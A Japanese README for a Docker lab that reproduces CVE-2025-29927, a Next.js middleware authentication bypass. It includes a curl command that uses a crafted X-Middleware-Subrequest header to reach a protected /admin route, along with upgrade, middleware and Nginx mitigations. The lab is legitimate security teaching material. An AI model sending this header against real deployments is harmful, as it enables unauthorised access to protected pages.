🚨 NextJS-CVE-2025-29927-Docker-Lab

このリポジトリは、制御された環境で Next.js CVE-2025-29927 の脆弱性を調査およびデモンストレーションするための Dockerベースのラボ 環境を含んでいます。

⚠️ 免責事項: このラボは教育およびセキュリティ研究目的のみに使用されます。パブリックインターネットに公開したり、本番環境で使用したりしないでください。

📦 特徴

✅ 脆弱なNext.jsアプリケーション
✅ Dockerでコンテナ化
✅ CVE-2025-29927のローカルテスト用に設計
✅ 事前設定済みのルートとUIを含む
✅ セットアップと実行が簡単

🛠 前提条件

以下がインストールされていることを確認してください:

Docker (v20以上)
Git
オプション: Docker外で実行する場合はNode.js

🚀 はじめに

以下の手順に従ってラボをクローンして実行します:

1. リポジトリをクローン

git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab

2. Dockerでビルドして実行

docker-compose up --build

これにより:

Dockerイメージがビルドされる
脆弱なNext.jsサーバーが起動する
http://localhost:3000 でアプリが公開される

📂 フォルダ構成

.
├── app/                     # Main Next.js app code
├── public/                  # Static assets (images, etc.)
├── Dockerfile               # Docker setup for app
├── docker-compose.yml       # Compose configuration
├── .env                     # Environment variables (if any)
├── README.md                # You are here

🧪 脆弱性のテスト

🛡️ CVE-2025-29927 - Next.jsミドルウェア認証バイパス

⚠️ 警告: このドキュメントは教育およびセキュリティ研究目的のみに使用されます。脆弱なアプリを本番環境にデプロイしないでください。

🔍 概要

CVE-2025-29927 は、Next.jsミドルウェアにおける重大な認証バイパス脆弱性です。攻撃者は X-Middleware-Subrequest ヘッダーを操作することで、ミドルウェアベースの認証をスキップし、保護されたルートにアクセスできるようになります。

🧪 脆弱性の再現

1. 認証なしで保護されたルートにアクセス

認証なしで /admin のような保護されたルートにアクセスしてみます:

curl http://localhost:3000/admin

期待される動作: アクセスが拒否されるか、認証ページにリダイレクトされる。

脆弱な動作: 認証なしでアクセスが許可される。

2. `X-Middleware-Subrequest` ヘッダーを使用したミドルウェアのバイパス

X-Middleware-Subrequest ヘッダーを付けてリクエストを送信し、ミドルウェアのチェックをバイパスします:

curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin

結果: ミドルウェアがバイパスされ、保護されたルートへのアクセスが許可される。

🛡️ 緩和策

1. パッチ適用済みのNext.jsバージョンにアップグレード

Next.jsを脆弱性が修正された以下のバージョンのいずれかに更新します:

14.2.25
15.2.3

npm install next@latest

2. ミドルウェアの強化を実装

ミドルウェアを強化してリクエストを適切に検証し、疑わしいヘッダーを含むものを拒否します:

import { NextResponse } from 'next/server';

export function middleware(request) {
  const subrequestHeader = request.headers.get('x-middleware-subrequest');
  if (subrequestHeader) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  // Continue with normal processing
  return NextResponse.next();
}

3. リバースプロキシで疑わしいヘッダーを削除するように設定

リバースプロキシ（例: Nginx）を使用している場合、受信リクエストから X-Middleware-Subrequest ヘッダーを削除するように設定します:

location / {
  proxy_pass http://localhost:3000;
  proxy_set_header X-Middleware-Subrequest "";
}

📚 参考文献

この VULNERABILITY.md ファイルは、制御された環境でCVE-2025-29927脆弱性を理解し再現するための包括的なガイドを提供します。また、そのようなエクスプロイトからNext.jsアプリケーションを保護するための実践的な緩和策も提供します。

この脆弱性に関する詳細なデモとさらなる洞察については、Techtalkpineが提供する完全な攻撃デモをブログ記事で参照できます。この記事はYouTubeのライブデモにもリンクされています: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/

このセットアップの特定の部分や緩和手順についてさらに説明が必要な場合は、お知らせください。

🧹 後片付け

コンテナを停止して削除するには:

docker-compose down

📚 リソース

⚠️ 法的免責事項

このプロジェクトは教育および研究目的のみを目的としています。すべての適用される法律および倫理ガイドラインに従って使用する責任はあなたにあります。著者は誤用または損害について一切の責任を負いません。

NextJS-CVE-2025-29927-Docker-Lab

人気